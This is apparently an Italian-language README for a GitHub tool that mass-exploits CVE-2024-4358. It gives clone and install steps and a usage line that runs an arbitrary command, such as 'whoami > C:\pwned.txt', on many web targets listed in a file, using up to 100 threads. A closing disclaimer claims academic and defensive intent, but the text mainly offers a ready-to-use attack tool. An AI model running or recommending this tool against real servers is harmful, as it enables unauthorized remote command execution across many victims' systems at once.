sk1dr0wz/cve-2024-4358_mass_exploitStrumento di sfruttamento di massa per CVE-2024-4358, che esegue comandi su più target web contemporaneamente con supporto al threading.
Strumenti modificati da @sinsinology per effettuare exploit di massa.
git clone https://github.com/Sk1dr0wz/CVE-2024-4358_Mass_Exploit.git
cd CVE-2024-4358_Mass_Exploit
pip intstall -r requirements.txt
usage: python CVE-2024-4358.py --target-file targets.txt -c "whoami > C:\pwned.txt" --threads 10
options:
-h, --help show this help message and exit
--target-file TARGET_FILE, -tf TARGET_FILE
File containing target IPs and ports (one per line, e.g: http://192.168.1.1:83)
--command COMMAND, -c COMMAND
Command to execute
--threads THREADS, -th THREADS
Number of threads to use (max: 100)
Questo software è stato creato esclusivamente per scopi di ricerca accademica e per lo sviluppo di tecniche difensive efficaci, e non è destinato a essere utilizzato per attaccare sistemi se non esplicitamente autorizzato. I mantenitori del progetto non sono responsabili dell'uso improprio del software. Utilizzare con responsabilità.